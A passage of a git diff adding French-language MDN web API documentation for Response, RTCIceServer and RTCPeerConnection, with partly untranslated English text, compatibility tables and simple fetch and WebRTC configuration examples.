+ <dd>Crée un clone de l'objet <code>Response</code>.</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Retourne un nouvel objet <code>Response</code> associé à une erreur réseau.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Crée une nouvelle réponse avec une URL différente permettant de rediriger l'utilisateur.</dd>
+</dl>
+
+<p><code>Response</code> implémente {{domxref("Body")}}, voici les différentes méthodes qui sont disponibles:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Prend le stream de la {{domxref("Response")}} et le lit jusqu'à la fin. Renvoie une promise qui retourne un {{domxref("ArrayBuffer")}} lorsqu'elle est résolue.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Prend le stream de la {{domxref("Response")}} et le lit jusqu'à la fin. Renvoie une promise qui retourne un {{domxref("Blob")}} lorsqu'elle est résolue.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Prend le stream de la {{domxref("Response")}} et le lit jusqu'à la fin. Renvoie une promise qui retourne un {{domxref("FormData")}} lorsqu'elle est résolue.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Prend le stream de la {{domxref("Response")}} et le lit jusqu'à la fin. Renvoie une promise qui retourne le résultat du parsing du body text, comme {{jsxref("JSON")}} ,lorsqu'elle est résolue.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Prend le stream de la {{domxref("Response")}} et le lit jusqu'à la fin. Renvoie une promise qui est résolue avec un {{domxref("USVString")}} (text).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans notre <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/basic-fetch">exemple basique d'utilisation de fetch </a>(<a href="http://mdn.github.io/fetch-examples/basic-fetch/">exemple</a>), nous utilisons un simple appel <code>fetch()</code> pour récupérer une image et l'afficher dans un tag {{htmlelement("img")}}. L'appel <code>fetch()</code> retourne une promise qui est résolue avec un objet <code>Response</code> associé à l'opération de récupération de la ressource. Vous remarquerez que puisque nous récupérons une image, nous avons besoin d'utiliser {{domxref("Body.blob")}} (disponible dans le body de la {{domxref("Response")}}) pour attribuer le bon MIME type à la réponse.</p>
+
+<pre class="brush: js">var myImage = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  var objectURL = URL.createObjectURL(blob);
+  myImage.src = objectURL;
+});</pre>
+
+<p>Vous pouvez également utiliser le constructeur {{domxref("Response.Response()")}} pour créer votre propre objet <code>Response</code>:</p>
+
+<pre class="brush: js">var myResponse = new Response();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(34)}} <sup>[1]</sup><br>
+    {{CompatGeckoDesktop(39)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(29)}}</td>
+   <td>10.1</td>
+  </tr>
+  <tr>
+   <td><code>Body.formData</code> attribute</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>redirected</code> attribute</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(34)}} <sup>[1]</sup><br>
+    {{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(29)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Body.formData</code> attribute</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(47)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>redirected</code> attribute</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disponible<span id="result_box" lang="fr"><span> comme préférence jusqu'à</span></span> Firefox 39.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/rtciceserver/index.html b/files/fr/web/api/rtciceserver/index.html
new file mode 100644
index 0000000000..20b0619bcd
--- /dev/null
+++ b/files/fr/web/api/rtciceserver/index.html
@@ -0,0 +1,137 @@
+---
+title: RTCIceServer
+slug: Web/API/RTCIceServer
+translation_of: Web/API/RTCIceServer
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>RTCIceServer définit comment se connecter à un serveur ICE unique (comme un serveur {{Glossary("STUN")}} ou {{Glossary("TURN")}}). Il comprend à la fois l'URL et les éventuelle informations d'identification nécessaires pour se connecter au serveur.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceServer.credential", "credential")}} {{optional_inline}}</dt>
+ <dd>Les informations d'identification à utiliser lors de la connexion au serveur. Celles‑ci sont utilisées uniquement si <code>RTCIceServer</code> est un serveur TURN.</dd>
+ <dt>{{domxref("RTCIceServer.credentialType", "credentialType")}} {{optional_inline}}</dt>
+ <dd>Si <code>RTCIceServer</code> est un serveur TURN, cet attribut spécifie quel type d'information d'identification doit être utilisé lors de la connexion. Ce doit être l'une des valeurs définies par l'énumération {{domxref("RTCIceCredentialType")}}. La valeur par défaut est <code>password</code>.</dd>
+ <dt>{{domxref("RTCIceServer.url", "url")}} {{obsolete_inline}}</dt>
+ <dd>Cette propriété obsolète est une chaîne spécifiant l'URL d'un serveur ICE unique. <strong>Ne pas utiliser cette propriété; utiliser plutôt {{domxref("RTCIceServer.urls")}}</strong>. Étant donné que de nombreux livres et exemples anciens l'utilisent encore, nous l'incluons pour aider les développeurs à mettre à jour leur code ou donner un sens a des exemples plus anciens.</dd>
+ <dt>{{domxref("RTCIceServer.urls", "urls")}}</dt>
+ <dd>Cette propriété est <strong>obligatoire</strong>, elle peut être soit une seule {{domxref("DOMString")}} ou un tableau de {{domxref("DOMString")}} , spécifiant chacun une URL qui peut être utilisée pour se connecter au serveur.</dd>
+ <dt>{{domxref("RTCIceServer.username", "username")}} {{optional_inline}}</dt>
+ <dd>Si <code>RTCIceServer</code> est un serveur TURN, alors ceci est le nom d'utilisateur à utiliser pendant le processus d'authentification.</dd>
+</dl>
+
+<p>Évitez de spécifier un nombre inutilement élevé d'URL dans la propriété <code>urls</code>; le temps de démarrage de votre connexion va augmenter sensiblement. Chaque serveur dans la liste sera contacté et testé avant d'en choisir un pour être utilisé pour la négociation.</p>
+
+<div class="note">
+<p>Les anciennes versions de la spécification WebRTC incluent une propriété <code>url</code> au lieu de <code>urls</code>; cela a été changé afin de vous permettre de spécifier plusieurs adresses pour chaque serveur dans la liste, comme le montre l'exemple ci-dessous.</p>
+</div>
+
+<h2 id="Constantes">Constantes</h2>
+
+<h3 id="Enumeration_RTCIceCredentialType">Enumeration RTCIceCredentialType </h3>
+
+<p>L'enumeration <code>RTCIceCredentialType</code> spécifie les valeurs qui peuvent être renvoyés par la propriété credentialType pour définir quel type d'authentification est fournie dans la propriété {{domxref("RTCIceServer.credential")}}. Cela peut être l'une des valeurs ci‑dessous.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code>"password"</code></td>
+   <td>un mot de passe d'aithentification. Voir {{RFC (5389, "", 10.2)}} pour plus de détails.</td>
+  </tr>
+  <tr>
+   <td><code>"token"</code></td>
+   <td>The credential is an access token to be used with a third-party authentication system.</td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<p>The configuration below establishes two ICE servers. The first one, <code>stun:stun.services.mozilla.com</code>, requires authentication, so the username and password are provided. The second server has two URLs: <code>stun:stun.example.com</code> and <code>stun:stun-1.example.com</code>.</p>
+
+<pre class="brush: js notranslate">var configuration = { iceServers: [{
+                          urls: "stun:stun.services.mozilla.com",
+                          username: "louis@mozilla.com",
+                          credential: "webrtcdemo"
+                      }, {
+                          urls: [
+                                  "stun:stun.example.com",
+                                  "stun:stun-1.example.com"
+                          ]
+                      }]
+};
+
+var pc = new RTCPeerConnection(configuration);</pre>
+
+<p>Once the configuration object has been created, it is passed into the {{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}} constructor to use it as the configuration for the new peer connection.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(22)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(24)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></li>
+</ul>
diff --git a/files/fr/web/api/rtcpeerconnection/index.html b/files/fr/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..95b6e4434b
--- /dev/null
+++ b/files/fr/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,359 @@
+---
+title: RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<div>{{APIRef('WebRTC')}}</div>
+
+<p><span class="seoSummary">L'interface <strong><code>RTCPeerConnection</code></strong> représente une connection WebRTC entre un ordinateur local et un homologue distant. </span></p>
+
+<p>Il fournit des méthodes pour se connecter à un homologue distant, entretenir et surveiller la connexion et fermer la connexion dès qu'elle n'est plus nécessaire.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p>{{InterfaceOverview("WebRTC")}}</p>
+
+<h3 id="Méthode_obsolète">Méthode obsolète</h3>
+
+<p>La méthode suivante a été rendue obsolète il y a longtemps et n'a jamais été implémentée dans les principaux navigateurs.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>Crées un nouveau {{domxref("RTCDTMFSender")}}, associé à un {{domxref("MediaStreamTrack")}} spécifique, qui pourra envoyer un signal téléphonique {{Glossary("DTMF")}} sur la connection.</dd>
+</dl>
+
+<h2 id="Événements">Événements</h2>
+
+<p>Écoutez ces événements en utilisant {{domxref("EventTarget.addEventListener", "addEventListener()")}} ou en assignant un récepteur d'événements à la propriété <code>on<em>eventname</em></code> de cette interface.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}</dt>
+ <dd>Envoyé à l'objet <code>RTCPeerConnection</code> lorsque le statut de connectivité globale de <code>RTCPeerConnection</code> change.<br>
+ Aussi disponible au travers de la propriété de gestionnaire d'événements {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
+ <dd>Envoyé à l'objet <code>RTCPeerConnection</code> lorsque le pair distant ajoute un canal {{domxref("RTCDataChannel")}} à la connection.<br>
+ Aussi disponible au travers de la propriété de gestionnaire d'événements {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
+ <dd>Sent to the peer connection to request that the specified candidate be transmitted to the remote peer.<br>
+ Also available through the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
+ <dd>An error of type {{domxref("RTCPeerConnectionIceErrorEvent")}} which is sent to the connection if an error occurred during ICE candidate gathering. The event's properties describe the error.<br>
+ Also available through the {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when the state of the ICE connection changes, such as when it disconnects.<br>
+ Also available using the {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when the ICE layer's gathering state, reflected by {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, changes. This indicates whether ICE negotiation has not yet begun (<code>new</code>), has begun gathering candidates (<code>gathering</code>), or has completed (<code>complete</code>).<br>
+ Also available using the {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when the {{domxref("MediaStreamTrack.isolated", "isolated")}} property on one of the {{domxref("MediaStreamTrack")}} objects associated with the connection changes value. A track is {{domxref("MediaStreamTrack.isolated", "isolated")}} if its content cannot be accessed by the owning document due to lack of authentication or if the track comes from a cross-origin source.<br>
+ Also available through the {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when negotiation or renegotiation of the ICE connection needs to be performed; this can happen both when first opening a connection as well as when it's neccessary to adapt to changing network conditions. The receiver should respond by creating an offer and sending it to the other peer.<br>
+ Also available as the {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}</dt>
+ <dd>The <code>signalingstatechange</code> event is sent to the <code>RTCPeerConnection</code> when the connection's ICE signaling state changes.<br>
+ Also available through the {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.statsended_event", "statsended")}}</dt>
+ <dd>The <code>statsended</code> event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.<br>
+ Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.track_event", "track")}}</dt>
+ <dd>The <code>track</code> event is sent after a new track has been added to one of the {{domxref("RTCRtpReceiver")}} instances which comprise the connection.<br>
+ Available as the {{domxref("RTCPeerConnection.ontrack", "ontrack")}} event handler property.</dd>
+</dl>
+
+<h3 id="Événements_obsolètes">Événements obsolètes</h3>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}</dt>
+ <dd>Sent when a new {{domxref("MediaStream")}} has been added to the connection. Instead of watching for this obsolete event, you should watch each for {{domxref("RTCPeerConnection.track_event", "track")}} events; one is sent for each {{domxref("MediaStreamTrack")}} added to the connection.<br>
+ Available as the {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an identity assertion is available. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.<br>
+ Also available using the {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to generate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available as the {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to validate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available using the {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to deliver a received identity. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.</dd>
+ <dt>{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when a {{domxref("MediaStream")}} is removed from the connection. Instead of watching for this obsolete event, you should watch each stream for {{domxref("MediaStream.removetrack_event", "removetrack")}} events on each stream within the <code>RTCPeerConnection</code>.<br>
+ Also available as the {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} event handler property.</dd>
+</dl>
+
+<h2 id="Constantes">Constantes</h2>
+
+<h3 id="RTCBundlePolicy_enum">RTCBundlePolicy enum</h3>
+
+<p>The <code>RTCBundlePolicy</code> enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> for bundling multiple media streams on a single transport link.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In technical terms, a BUNDLE lets all media flow between two peers flow across a single <strong>5-tuple</strong>; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"balanced"</code></td>
+   <td>On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.</td>
+  </tr>
+  <tr>
+   <td><code>"max-compat"</code></td>
+   <td>The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.</td>
+  </tr>
+  <tr>
+   <td><code>"max-bundle"</code></td>
+   <td>The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceConnectionState_enum">RTCIceConnectionState enum</h3>
+
+<p>The <code>RTCIceConnectionState</code> enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).</td>
+  </tr>
+  <tr>
+   <td><code>"checking"</code></td>
+   <td>The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.</td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.</td>
+  </tr>
+  <tr>
+   <td><code>"completed"</code></td>
+   <td>The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than <code>"failed"</code> and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the <code>"connected"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceGatheringState_enum">RTCIceGatheringState enum</h3>
+
+<p>The <code>RTCIceGatheringState</code> enum defines string constants which reflect the current status of ICE gathering, as returned using the {{domxref("RTCPeerConnection.iceGatheringState")}} property. You can detect when this value changes by watching for an event of type {{event("icegatheringstatechange")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>The peer connection was just created and hasn't done any networking yet.</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>The ICE agent is in the process of gathering candidates for the connection.</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>The ICE agent has finished gathering candidates. If something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ICE server, the state will revert to "gathering" to gather those candidates.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceTransportPolicy_enum">RTCIceTransportPolicy enum</h3>
+
+<p>The <code>RTCIceTransportPolicy</code> enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"all"</code></td>
+   <td>All ICE candidates will be considered.</td>
+  </tr>
+  <tr>
+   <td><code>"public" </code>{{obsolete_inline}}</td>
+   <td>Only ICE candidates with public IP addresses will be considered. <em>Removed from the specification's May 13, 2016 working draft.</em></td>
+  </tr>
+  <tr>
+   <td><code>"relay"</code></td>
+   <td>Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p>The <code>RTCPeerConnectionState</code> enum defines string constants which describe states in which the <code>RTCPeerConnection</code> may be. These values are returned by the {{domxref("RTCPeerConnection.connectionState", "connectionState")}} property. This state essentially represents the aggregate state of all ICE transports (which are of type {{domxref("RTCIceTransport")}} or {{domxref("RTCDtlsTransport")}}) being used by the connection.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>At least one of the connection's ICE transports ({{domxref("RTCIceTransport")}}s or {{domxref("RTCDtlsTransport")}}s) are in the <code>"new"</code> state, and none of them are in one of the following states: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, or <code>"disconnected"</code>, <em>or</em> all of the connection's transports are in the <code>"closed"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>One or more of the ICE transports are currently in the process of establishing a connection; that is, their <code>RTCIceConnectionState</code> is either <code>"checking"</code> or <code>"connected"</code>, and no transports are in the <code>"failed"</code> state. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Every ICE transport used by the connection is either in use (state <code>"connected"</code> or <code>"completed"</code>) or is closed (state <code>"closed"</code>); in addition, at least one transport is either <code>"connected"</code> or <code>"completed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>At least one of the ICE transports for the connection is in the <code>"disconnected"</code> state and none of the other transports are in the state <code>"failed"</code>, <code>"connecting"</code>, or <code>"checking"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>One or more of the ICE transports on the connection is in the <code>"failed"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p>The <code>RTCPeerConnection</code> is closed.</p>
+
+    <p>This value was in the <a href="#RTCSignalingState_enum"><code>RTCSignalingState</code> enum</a> (and therefore found by reading the value of the {{domxref("RTCPeerConnection.signalingState", "signalingState")}}) property until the May 13, 2016 draft of the specification.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCRtcpMuxPolicy_enum">RTCRtcpMuxPolicy enum</h3>
+
+<p>The <code>RTCRtcpMuxPolicy</code> enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"negotiate"</code></td>
+   <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+  </tr>
+  <tr>
+   <td><code>"require"</code></td>
+   <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCSignalingState_enum">RTCSignalingState enum</h3>
+
